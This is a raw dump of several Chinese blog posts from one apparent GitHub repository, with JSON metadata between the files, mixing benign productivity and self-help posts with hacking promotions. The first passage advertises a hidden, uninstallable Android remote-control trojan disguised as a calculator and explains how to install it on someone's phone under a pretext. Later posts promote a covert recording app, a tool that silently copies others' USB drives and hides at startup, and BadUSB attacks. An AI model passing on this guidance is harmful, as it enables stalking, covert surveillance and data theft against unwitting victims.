完美后台隐藏,没有图标\n- 无法卸载\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112400747.gif)\n\n\n---\n\n\n### 远程控制安卓手机可以做什么事情呢?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112411311.png)\n\n \n在目标手机联网的情况下:\n- 获取通话记录\n- 获取联系人列表\n- 获取所有短信\n- 用目标手机给任何人发送短信\n- 下载目标手机里的所有文件(相册图片,视频)\n- 摄像头拍照\n- 摄像头实时录像监控\n- 实时的gps定位地址\n- 查看手机root状态和开启的软件程序名称\n\n---\n\n### 直接看演示视频!\n安卓远程控制3步曲:\n- 1.一行命令生成安卓apk应用\n- 2.安装到手机,app自动完美后台隐藏\n- 3.输入指令远程控制 [指令就是单词,超级简单]\n 比如`-gps`,就能看下对方的实时地理位置\n 比如`-camweb`,就可以开启摄像头拍照监控录像\n\n> 在这里,只演示控制场景,so easy \n\n<iframe height=300 width=370 src='http://player.youku.com/embed/XMjYxMjE4Njg4OA==' frameborder=0 'allowfullscreen'></iframe>\n---\n### 学会这个难不难?\n我想说的是\n> 其实很多事情并不是想象中那么艰难 \n\n我已经把10行命令写好了\n你只需要用键盘copy,copy,Enter就这么简单\n几分钟的事情\n\n---\n### 一个U盘可以变身为黑客系统\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112419486.png)\n\n普通的U盘\n> 可以在5分钟内,变身一个超级黑客系统\n\n插在笔记本或者台式电脑,即可启动\n- 上网办公听歌看电影都可以\n- 集成60多种安全渗透工具\n- 直接用就好了,不用学底层知识\n\n---\n\nso,你还是想做一个无辜的吃瓜群众吗?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112425764.png)\n\n \n\n---\n\n### 如何安装到目标手机?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112431588.png)\n\n \n1.找借口使用手机1分钟\n- 没电了\n- 停机没话费\n- 手机故障在维修店 \n\n2.输入`网盘网址`直接下载安装\n\n---\n\n### 如何完美隐藏?\n担心安装了app会被发现?\nDon't worry\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112437883.png)\n\n- app图标和名称是计算器\n- 当然也可以1分钟伪装成任何图标和名字,比如QQ\n\n---\n\n又或者,使用`一款隐藏程序`\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170308/112443900.png)\n\n \n表面也是一款计算器,可以正常使用\n但是输入`特定的密码,就可以进入真正的后台`\n对手机里的app进行加密隐藏\n\n> 也就是\n无论如何,别人看到的,就是一个计算器\n\n\n---\n\n### 结语\n欢迎交流:\n- 5分钟将U盘变身超级安全渗透系统 \n\n 可`持久更改设置和存储`,非live系统噢 \n\n- 10行命令生成安卓应用并开启控制台\n- 各种功能介绍演示,持续后门\n\n\n---\n\n\n\n\n \n \n\n\n\n \n" }, { "alpha_fraction": 0.5391120314598083, "alphanum_fraction": 0.7251585721969604, "avg_line_length": 20.363636016845703, "blob_id": "8c7f7dca37b14a3af1d55e900127f75eb960bbaa", "content_id": "596886c046d4f67f43c3b93fdfd7cef6f00604db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 717, "license_type": "no_license", "max_line_length": 71, "num_lines": 22, "path": "/前端学习笔记06--微信小程序.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 学习微信小程序 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170207/033936530.png)\n\n在`好奇猫`的主页,发布了这个视频 \n用来演示如何将`好奇猫`(视频教程网站) \n转化为微信小程序版 \n可以更方便的调用微信支付接口 \n\n### 学习目录 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170207/033950654.png) \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170207/033958444.png) \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170207/034006962.png)\n\n\n### 总结\n在这里暂时将视频快速过了一遍 \n发现小程序也并不是很晦涩 \n就是类react的设计思想 \n至于具体的效果 \n要等好奇猫`小程序版上线再做评价 \n\n" }, { "alpha_fraction": 0.6599123477935791, "alphanum_fraction": 0.7376779913902283, "avg_line_length": 12.316176414489746, "blob_id": "026570065e53d78d39b49c7c97a65a9ef226ae22", "content_id": "6ab3fb68208e59324ce057e0c74b75ab38a9c2be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3842, "license_type": "no_license", "max_line_length": 71, "num_lines": 136, "path": "/如何打造社群?.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 为什么圈子很重要?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055723277.jpg)\n\n \n#### 1. 三人行必有我师\n> 最高效的学习方式是什么? \n\n不是自学!不是自学!\n是跟着`教练一对一接受指导`\n- 避免入门没有方向\n- 显示的被纠正错误\n- 快速进阶 \n\n#### 2.弱关系的超级能量\n> 找工作最有效的方式是什么?\n\n`内推`\n然而大多数小伙伴身边互动的朋友\n大家都是处于一个相同的水平层次\n反而是不太了解的陌生好友\n- 发表各种生活和行业的新奇信息\n- 隐式的提供各种活动和职业机会\n- 让你看见更大的世界\n\n#### 3.你所遇见和人和事,都是你自己的选择\n> 不要把责任都推给命运\n\n你的穿着品味展示你的气质和讲究\n健身能让你充满活力\n参加怎样的线下活动,就会遇到怎样的人\n- 义工,超级热心有爱的小伙伴\n- 跑团,一群积极向上可爱的朋友\n- 黑客与极客,开启你的无限脑洞\n\n\n---\n### 扒一扒我的小故事\n#### 武汉义工联盟\n现在我管理着三个QQ群\n每个群500人\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055734142.png)\n\n做义工,初衷都是一份善心\n然而\n义工却让我收获了太多太多\n\n#### 1.认识超级多有爱热情的小伙伴\n做义工的有大学生,有职场白领,也有阿姨叔叔\n大家亲切而友善\n#### 2.一些奇特的经历 \n- 被杂志社约稿访谈\n- 接受大学生的暑期调查项目实践\n- 武汉晚报的记者的采访\n- 很多朋友寄来小礼物\n\n#### 3.在你需要的帮助的时候喊一喊\n生活和工作总会遇见一些问题\n在群里发表后\n五湖四海,各行各业的小伙伴\n都会给你一个完美的解决办法或帮助\n\n#### 4.爱情与工作\n> 找不到心仪的对象?\n\n善良有爱的姑娘/小伙,不是最优质的另一半么?\n> 一份理想的工作? \n\n参加义工的有普通小伙伴,也有大学教授,海归和企业高层\n你的善良热情一举一动都会被看在眼里\n可你并不知道\n在某一天\n也许就会收到一个期待已久的邀请\n\n---\n### 武汉技能交换\n刚从大学毕业那一年\n感觉学校与社会脱节严重\n也迫切的想提升自己各方面的技能\n所以\n我在`豆瓣同城`发起了一个活动:技能交换\n> 最奇妙的是什么,你知道吗? \n\n 我本人在烟台外派半年,并不在武汉\n 所有的活动,都是我在外地策划组织\n 武汉几个美丽的姑娘来执行 \n\n加群是有严格的要求的\n大家必须分享自己的一个小技能,教授大家\n需要提供pdf文档和录制视频\n收到各种小技能:\n- 微电影制作\n- 插花\n- 室内设计\n- 尤克里里\n- 还有超级多有意思的技能 \n\n#### 约约约\n`小雪`是在群里比较活跃的姑娘\n容易带动气氛,鼓励大家沟通分享\n所以把她升级为群管理\n然后我组织了一场线下分享交流活动\n由小雪姑娘在武汉联系\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055740301.jpg)\n\n \n#### 还有呢?\n小雪姑娘把她微电影公司的团队都拉到群里了\n导演,后期,幕后,主演,编剧...\n给群里分享带来一股清流\n\n也收到各种各样的邀请\n- 学生申请活动厅邀请我举办分享活动\n- 咖啡厅要求合作办分享,免费提供咖啡和场地\n- 当然也有杂志社和报纸编辑的约谈\n\n---\n### 现在,地标深圳\n偶遇`深跑团`\n~~~~\n就此打住\n暂且放两张照片\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055747112.png) \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055805736.png)\n\n \n---\n### 结语\n本来\n今天想分享一片如何打造一个圈子\n高效经营一个社群\n写着写着勾起了一些回忆\n就偏了方向\n见原思维导图架构\n下期再见!\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170303/055817504.png)\n\n \n\n\n\n\n\n\n\n\n\n\n \n" }, { "alpha_fraction": 0.5960960984230042, "alphanum_fraction": 0.704954981803894, "avg_line_length": 16.486841201782227, "blob_id": "580dd386274f869aa1e28604b4e5e6c0ae317317", "content_id": "0e612f465b0511674cebc0a18b992f6f78feeda1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2152, "license_type": "no_license", "max_line_length": 190, "num_lines": 76, "path": "/电商小众高效软件.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "![mark](http://oe40n695u.bkt.clouddn.com/blog/20170215/132003912.png)\n\n### 这是款小众但是超高效的软件\n软件的主打功能是 `文本增强`\n通俗的说:\n就是将 需要重复使用的`大段文本 `与 一个`关键词`进行绑定\n对于大量回复邮件,客服类工作能极大的提升效率\n\n---\n### 举个栗子\n案例: 询问客户是否收到货物\n通常需要回复模版文本:\n```\nDear Mr./Ms XX\nRe 06RF33202, original documents have sent to you by TNT on Nov 20, 2006. Now have you received documents and picked up the cargos? If any problems, please contact us, we will solve for you.\n```\n通过软件我们可以设置关键词\n比如`询问`或者`ask`\n\n 这样当你打字输入`物流`时 \n 物流两个字就变为你事先设计的大段文本\n 且保留格式(换行,缩进,字体,颜色等) \n\n### 关键词变文本演示\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170215/131318037.png)\n\n#### gif动图\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170215/131225681.gif)\n\n\n \n---\n\n### 智能化分类\n仅仅是一个`文本段落`绑定一个`关键词`\n那么我们如果有几十种甚至上百种文本模版\n就不是很方便记忆关键词\n这时我们可以用到分组\n\n> 如果针对物流问题,有一下情况: \n\n- 未发货的情况\n- 已发货,预计多久能到\n- 查不到物流信息\n- 重新发货 \n\n设定`分组关键词`后,可以手动进行筛选\n所见即所得,如图所示\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170215/131218223.png)\n\n#### 动态演示\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170215/131206336.gif)\n\n---\n### 更多高效功能直接看视频\n\n> 还有更多高效的使用技巧 \n\n- 人名日期等随时更改设置\n- 富文本多媒体样式\n- 自动文本坎错和补全\n- 还有很多 \n\n---\n\n#### 软件如何使用\nhttps://v.qq.com/x/page/s03753409oy.html\n#### 分类模版的设置\nhttps://v.qq.com/x/page/l037564nkfs.html\n#### 可随时更改的关键人民和富文本样式\nhttps://v.qq.com/x/page/d037517bcy2.html\n\n### 平台限制\n更多视频请直接点击`阅读原文1\n或者回复关键词: `文本`\n\n\n\n" }, { "alpha_fraction": 0.6113236546516418, "alphanum_fraction": 0.7390971779823303, "avg_line_length": 13.977011680603027, "blob_id": "0bc75007564c269760e688c35ac6a05bda51c345", "content_id": "4ec119146f10aefa25493fa471c10ea4e0c4e039", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2249, "license_type": "no_license", "max_line_length": 70, "num_lines": 87, "path": "/用电脑群发短信.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 收到一条微信\n> 如图 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235147232.png)\n\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235157984.png)\n\n\n---\n\n### 我的理解\n根据该网友的要求:\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235209954.png)\n\n \n- 将Excel第一列的手机号码导出\n- 用短信批量发送 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235225796.png)\n\n \n \n### 于是寻找解决办法\n#### 搜索引擎\n在百度google搜索`短信群发`\n第三方的软件倒是不少\n只是感觉很多像是木马软件一样\n各种广告各种病毒,ui也是惨不忍睹\n不敢使用\n#### 开源项目\n在githunb和开源中国搜索关于SMS网关的开源库\n发现都是关于短信轰炸机的\n而`阿里大于`,`腾讯云`都必须是企业的app或者网页接口\n云片有详细的sdk文档,资费也比较便宜\n但是还是需要认证和审核\n不是那么方便和`自由`--短信内容受监控\n国外有teilio提供短信api,但是国际短信资费为0.3元/条\n \n### 最终的解决办法\n思路:\n- 手机端群发短信,格式是`号码,号码,号码'--`以','为分隔符`\n- 短信统一编写模版\n- 将操作在段电脑端实现(操作快)\n\n---\n措施:\n- 安装pc版360手机助手\n- 用wifi同步安卓手机\n- 选择`发送短信`\n- 复制从excel导出的批量标准格式\n- 点击`发送`\n\n---\n\n演示效果:\n整个群发短信过程不到1分钟\n十分方便简单\n![](http://o9eqsfpee.bkt.clouddn.com/11.gif)\n\n\n \n\n### 最后\n\n#### 移动官网优惠套餐\n在移动官网看到,可以购买优惠短信套餐\n其实也很便宜了,0.05元\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235430116.png)\n\n---\n### Excel手机号码批量导出\n将写好的python脚本打包成exe可执行文件\n用windows的业务小伙伴\n就可以方便的用电脑群发短信了\n1分钟N条\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170222/235437823.png)\n\n\n### 将重复繁琐的工作自动化\n大家有什么好的想法和需求可以提出来\n我可以尝试解决\nps: 在某宝搜索`短信群发`居然是因政策XXX不予显示\n不胜唏嘘\n\n可添加微信好友\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192624312.png)\n \n \n" }, { "alpha_fraction": 0.5852090120315552, "alphanum_fraction": 0.700964629650116, "avg_line_length": 18.375, "blob_id": "d4ea4949958bf74505a480842736a9248c8cce04", "content_id": "de749150fc6f630da5518bc9d6a98f78c6859c7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1591, "license_type": "no_license", "max_line_length": 126, "num_lines": 64, "path": "/fullpage.js学习笔记.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### [慕课网](http://www.imooc.com/learn/514)\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054538403.png)\n\n---\n\n\n### [fullpage.js github主页 ](https://github.com/alvarotrigo/fullPage.js) \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054701791.png)\n\n\n### 在[cdnjs](https://cdnjs.com/ )查找fullpage.js源 \n \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054715066.png)\n\n\n---\n### 引入文件源\n引入css文件\n```\n<link rel=\"stylesheet\" type=\"text/css\" href=\"https://cdnjs.cloudflare.com/ajax/libs/fullPage.js/2.9.2/jquery.fullPage.css\" />\t\n引入jquery.js\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/2.0.0/jquery.js\">\n引入fullpage.js\n<script src=\"\nhttps://cdnjs.cloudflare.com/ajax/libs/fullPage.js/2.9.2/jquery.fullPage.js\">   \n```\n---\n\n\n### fullpage.js好在哪里? \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054806909.png) \n\n\n\n基本的文档格式\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054815090.png)\n\n \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/054821586.png)\n---\n\n\n\n \n---\n\n### 一些感慨\n\n- 其实官方的文档说的很详细 \n就是英文不够好 \n所以要把用常见的英文单词背一背 \n多看看技术文档 \n自己写英文注释,文档,命名英文变量 \n\n\n- 由于办公司网络是'外网'\n对国内的网站支持不是很好 \n导致看慕课网的fullpage.js很慢,需要在ipad上缓存好 \n而且好奇猫的视频也很慢,即使用了七牛云的cdn加速,需要在家里下载好,保存到type-c U盘 \n\n---\n\n### 我的慕课网学习记录 \n\n\n" }, { "alpha_fraction": 0.5609102845191956, "alphanum_fraction": 0.6697902679443359, "avg_line_length": 14.534722328186035, "blob_id": "1176f1a740da08a6d0aa0774c7187e35bfe8fd1c", "content_id": "5177b65831dad5d88300697279b81fea898958e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3979, "license_type": "no_license", "max_line_length": 127, "num_lines": 144, "path": "/小心,无处不在的摄像头.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 隐秘摄像机是个什么鬼?\n> `安卓隐秘摄像机`是一款手机app应用\n\n并不是类似针眼摄像头之类的伪装设备 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140425941.png)\n\n \n\n 表面是一款`记事本`\n 输入特定的`密码`,就进入隐秘的控制后台界面\n 可以静默`拍照,录像,录音` \n \n 你可以正常打电话,听音乐看视频\n 一般人发现不了 \n\n\n### 偷拍狂魔!???\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140443436.png)\n\n \n我的微信公众号的定位是`hack与geek` \n并不是倡导大家学习了之后用来做违法的事情 \n而是在认识到**我们的安全和隐私是多么脆弱之后** \n能学会更好的保护自己 \n\n---\n\n### 直接上演示视频\n\n\nhttp://oe40n695u.bkt.clouddn.com/%E6%89%8B%E6%9C%BA%E5%A6%82%E4%BD%95%E6%8B%8D%E7%BE%8E%E7%BE%8E%E7%9A%84%E7%85%A7%E7%89%87.mp4\n---\n\n### 你说的我不信!\n> 应用的场景包含哪些呢? \n\n#### 1. 调查取证\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140452205.png)\n\n \n> 我父亲出了一场车祸,交警出示的现场照片\n\n怀疑是第二现场 \n至于肇事人或者执法者做了什么我不清楚 \n\n 这个世界,邪恶的事太多,最终只能依靠自己\n 所以,将肇事者,执法者,医生的对话,行为都要录像存证\n 在必要的时候,向媒体公开那些丑恶的嘴脸 \n\n有太多的真相被埋藏了\n\n \n\n#### 2. 女生要学会保护自己!\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140458167.png)\n\n \n> 每天失踪,被性侵的女孩不计其数\n\n 生活看起来风平浪静,实则暗潮汹涌\n 如果你进入过`深网`或者`暗网`\n 就知道世界到底有多黑暗\n 看了我的文章,你应该知道\n 你的电脑资料,网络账户,wifi密码到底有脆弱\n 正如本文\n 摄像头无处不在,你何处藏身?\n\n女性是弱势群体,举例以下场景,学会保护自己:\n- 和男性领导一起出差,聚餐\n- 被男性领导叫到酒店`讨论工作`\n- 加班时,不得已与男同事独处时\n- 独自走电梯和夜路时\n\n用app隐秘录像并不能保证你的安全 \n但是能让男友理智的放心 \n万一真出事,也必须让恶人绳之于法 \n生活不易 \n希望女孩子尽量避开身边邪恶的坑\n\n#### 3. 还原当时\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140504019.png)\n\n \n> 信息在传达的过程会失真\n\n甚至,与最终的消息完全相反 \n有意识有习惯的保留证据 \n普通一点的\n- 比如有人找你借钱\n- 比如有人说谁谁谁的坏话\n- 比如~~~请打开你的脑洞\n\n---\n### 如何在录像时正常伪装? \n嗯,推荐一下三种方式: \n1. 戴上耳机听音乐,刷新闻.聊微信 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140510690.png)\n\n \n你的操作都是正常的使用方式 \n只需要将后置摄像头对准角度就好 \n2. 使用`来电小骗子` \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140516280.png)\n\n \n来电小骗子,是一款定时,伪装打电话来的app \n你的手机闹铃想了之后 \n装作打电话 \n嗯,后置摄像头对准就好 \n3. 摆在支架上,看电影 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140522256.png)\n\n \n这个时候,后置摄像头的角度正好. \n\n更多脑洞,你自己开! \n针眼摄像头,手机/闹钟伪装的摄像头,这类硬件 \n我装作不知道 \n不要问我 \n想知道的,看我往期的`vps教程`,自己google \n\n---\n### 欢迎下载 \n> 提供以下资料,**5分钟**掌握hack技能: \n\n- 安卓应用apk--隐秘摄像机(记事本) \n- 视频教程 \n- pdf文档说明指导 \n\n同时欢迎一起讨论 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170304/140528204.png)\n\n\n---\n\n> 下期预告:\n\n终极武器--badusb\n- 自动复制文件资料\n- 远程下载`远控木马`运行\n- 破解开机密码\n- 破解wifi密码\n- 更多~~~\n \n\n\n" }, { "alpha_fraction": 0.6036342978477478, "alphanum_fraction": 0.6706416606903076, "avg_line_length": 10.341935157775879, "blob_id": "5c8dc80bec12a3d0e29c2de4ebeb91f83eee774b", "content_id": "4310fdb7c01e6cc353f2410b9d59919da759bb9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3519, "license_type": "no_license", "max_line_length": 69, "num_lines": 155, "path": "/信息时代的多元思维.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 把单一变成多元\n如果你去旅游\n你会选择怎么做?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170227/231806552.png)\n\n \n单一者:\n- 上车睡觉\n- 下车拍照\n\n普通人:\n- 摆拍一堆`游客式`照片\n- 朋友圈发九宫图 \n\n分享者:\n- 整理路线价格,编辑照片,配上音乐\n- 发文章在个人社交网站或旅游论坛上\n\n多元者:\n- 找赞助商资助旅行\n- 持续更新社交帐号,发布好玩有趣的见闻\n- 做旅行代购\n- 对风景和美食进行中肯评论和见解\n- 写博客,发布在旅游平台,出书 \n- 拍视频,比如优酷的`吕行` \n\n最重要的是,多元者收获什么?\n \n\n 1.更高层次的旅行体验和格局视野\n 2.认识超级多有趣有料的小伙伴,合作者\n 3.个人品牌的树立\n 4.挣很多很多的钱!!!\n\n\n---\n\n### 二八法则\n大多数的事物都遵循这样的一个定律:\n20%的付出可以获取80%收益\n也就是我们只需专注做几件事\n达到杠杆的高投资回报率\n\n> 关于`学习` \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170227/231839005.png)\n\n \n\n学习本身就是一件需要学习的事情\n方法论,也就是`元认知`\n在这里推荐`网易云课堂`的`罗邵峰`\n课程:`信息管理与文献分析`\n介绍了以下终极利器:\n- 思维导图\n- 为知笔记\n- 搜索引擎的高级语法\n- RSS\n- 文献检索\n\n 如今的信息大爆炸时代\n 高效的甄别优质信息\n 才是制胜的关键 \n\n\n---\n\n### 打造你的管道\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170227/231848002.png)\n\n \n在之前的文章中,我提到了`被动收入`的计划\n也就是用一定的付出\n打造不断营收的`管道`\n即使你在睡觉,都可以源源不断的获得现金流\n\n> 我的管道:\n\n知识产品\n- 视频教程\n- kindle电子书 \n\n服务:\n- AE特效视频制作\n- 定制自动化脚本\n- 远程开发upwork\n- 付费咨询\n- 付费社群组织\n\n实物\n- U盘随身系统\n- badusb\n- 科学上网路由器 \n\n其他\n- 佣金推广\n- 广告联盟\n\n---\n\n### 改变你的规律\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170227/231859708.png)\n\n \n我来举个小栗子:\n大家想想自己当年初中高中的时候\n到了饭点是什么样子?\n反正我是身在曹营心在汉\n下课铃一响,就跟一群饿狼大军奔向食堂\n但是\n有个人不一样\n他永远比别人慢半小时\n\n> 结局是什么呢? \n\n 你\n 飞奔着跑向饭堂\n 在拥挤的人群中跌跌撞撞\n 漫长无奈的的排队等待后\n 阿姨给你一勺子`水上漂`\n 找不到座位就餐的尴尬\n ~~~\n\n> 而他呢?\n\n 主动课下跑到讲台向老师一对一提问\n 半个小时整理学习笔记\n 淡定的走向食堂\n 饭堂阿姨亲切的给他一整碗的好菜\n 在餐桌上细嚼慢咽,独自思考\n\n你看:\n- 老师与阿姨的肯定和好感\n- 独自高效的学习时间\n- 吃饭的淡然丰盛\n- 安静的思考\n- 还有更多好处你自己去想一下下\n\n这只是生活中很平常的一个细节\n但是它带来的多米诺骨牌效应\n是远远无法估量的\n让你在人群中格外与众不同\n\n> 那么,你又没有试过,凌晨三点\n> 走在寂静的大街上? \n\n你会看见你平常永远看不见的生活景象\n在这里我不说\n待到有一天你经历了,你会主动给我答案的\n\n---\n\n### 希望和你做朋友\n今天是平凡生活里的碎碎念\n晚安\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192624312.png)\n\n\n\n" }, { "alpha_fraction": 0.6870056390762329, "alphanum_fraction": 0.7265536785125732, "avg_line_length": 11.642857551574707, "blob_id": "406e2e1f1483b4274219efbce3212930f1f784e1", "content_id": "b50b207cd0708043da96cd526e0d1c318efb50de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1827, "license_type": "no_license", "max_line_length": 69, "num_lines": 70, "path": "/U盘自动拷贝资料.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 偷U盘文件的神器\n- 支持设置冲突解决方案\n- 支持延迟复制\n- 支持扩展名黑白名单\n- 支持磁盘分区号/序列号黑名单\n- 支持日志\n- 支持弹出U盘时强制停止复制防止占用\n\n---\n### 软件界面\n> 本程序有两个图标\n\n- `默认图标`表示当前处于空闲状态\n- `红色图标`表示当前正在复制文件\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170318/211726094.png)\n\n已编译版本下载\n\n.Net Framework 3.5\n点击从Git@OSC下载 点击从GitHub下载\n需要安装.Net Framework 3.5,没有安装请点此\n\n---\n### 适用场景\n\n1.学校的老师上完课直接拔U盘走人\n 要课件还不给(LZ制作这个程序的背景)\n2.这是台公用电脑,你想要偷别人U盘的东西\n### 如何使用\n\n1.下载\n2.双击 USBCopyer.exe\n3.程序将在托盘区运行,右击图标可以进行调整\n点击 \"隐藏图标\" 将彻底隐藏程序,只能靠任务管理器停止\n点击 \"设置\" 可以设置程序\n### 命令行\n\nUSBCopyer.exe [/hide]\n/hide 以隐藏模式启动,只能通过任务管理器结束进程\n---\n\n### 常见问题\n\n#### 学校老师很精明,上课前都要自己重启一次电脑,怎么办\n\n将本程序设为开机启动,以 /hide 参数启动\n创建一个快捷方式\n然后加上参数\n拖到 \"开始菜单\" 的 \"启动\" 文件夹即可\n#### 手机插在电脑上,能偷文件吗\n\nMTP/PTP不行,如果是挂载到电脑上可以\n#### U盘被拔了怎么办\n\n诱惑他不要拔啊\n#### 电脑关机就还原了,老师上完课都会关电脑的\n\n两种方法:\n1.插上你的U盘,然后启动本程序,加入该U盘到黑名单,然后设置输出目录到你的U盘\n2.用 PCHunter 之类的东西干掉还原程序\n代码仓库\n\nGit@OSC GitHub\n\n\n---\n\n本文属转载\n来源: https://kenvix.com/?p=86\n" }, { "alpha_fraction": 0.6258309483528137, "alphanum_fraction": 0.7135169506072998, "avg_line_length": 12.045454978942871, "blob_id": "bf274e07415a57e578b3eeda9d6a1bef6179f750", "content_id": "e93e1b465373fe5b678ea6566a3111c8ab514675", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6181, "license_type": "no_license", "max_line_length": 212, "num_lines": 242, "path": "/不忘初心,方得始终.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 无声告白 \n> 在跑步机上最喜欢看的一个视频 \n\n希望我们的人生,永远精彩 \n\nhttps://v.qq.com/x/page/u0177eobsmf.html\n\n---\n\n> 不忘初心,方得始终\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222506468.png)\n \n\n将看似复杂的专业知识删繁化简\n打造小白极速入门技能知识图谱\n是我的初心\n\n---\n### 大白你好,我是小白\n> 我,也是一个小白 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222417242.png)\n\n \n\n我是一个非常爱折腾的人\n每天都想了解新鲜的东西\n有很强烈的知识焦虑\n倾向于T型结构和跨界思维\n\n 觉得自己唯一的优点\n 就是不畏惧学习本身\n 掌握元认知思维和构建自己的信息体系\n 就能相对更快速的高效迭代\n\n虽然精通每一个领域都需要专注和深耕\n但是信息呈指数级爆炸的时代\n`即学即用,项目驱动式学习`才是最有效的 \n\n> 就比如我公开的三个项目: \n\n- 微信机器人\n- U盘-随身系统\n- AE创意视频 \n\n看明白如何操作运行,仅仅需要10分钟\n你看,\n很多事情并不是我们想象中,那么那么的艰难\n不需要你懂背后的基础原理\n只管跟着做,一步一步自然到最后\n\n\n---\n### 一些反思\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222532490.png)\n\n \n\n自从在知乎被人诋毁后\n> 渐渐明白了一些事情 \n\n- 网络暴力和喷子的永存\n- 学习者的临界梯阶\n- 高质量圈子参与者预选 \n\n---\n\n##### 网络暴力和喷子\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222541809.png)\n\n \n> 热心的小伙伴最多的劝诫是:\n> 不必理会,做自己就好 \n\n可现实与网络的界限已经模糊\n人身攻击和挑懈不容小觑 \n吠吠可以,若是追过来撕咬,你会怎么做?\n\n---\n\n##### 学习者的临界梯阶\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222552309.png)\n\n \n\n \n> 我乐于做一个布道者 \n\n分享我所掌握的知识与技能\n不仅能帮助自己理解更深刻理解\n也能带来多元化的个人品牌和溢价\n\n可问题来了?\n> 很多人是`伸手党`,根本不去检索 \n\n随手将问题抛给你\n几乎等同于:嘿,电脑怎么开关机?\n> 认知层次不够 \n\n就健身跑步来说,\n很多人眼里:不就是每天去户外沿着公园跑跑吗,有什么难?\n实际上呢:\n热身,拉伸,心率,足型,配速,频次,标准姿势,饮食,跑步机与户外,运动损伤\n单单跑步就是一个超级系统化的知识 \n\n> 最大的问题究竟是什么? \n\n是思维方式:单元思维与`多元思维`\n举个例子:\n刚工作的职场新人,究竟住在公司附近\n还是节省租金住较远的地方\n而为了金钱与通勤时间折中?\n\n\n选择A或B都是比较偏薄的\n> 关键点在于这个人,思维有没有达到一个临界阶梯 \n\n达不到,就浪费了大量的金钱,躺在家里看电视,睡懒觉\n如果达到了临界值\n> 请注意! 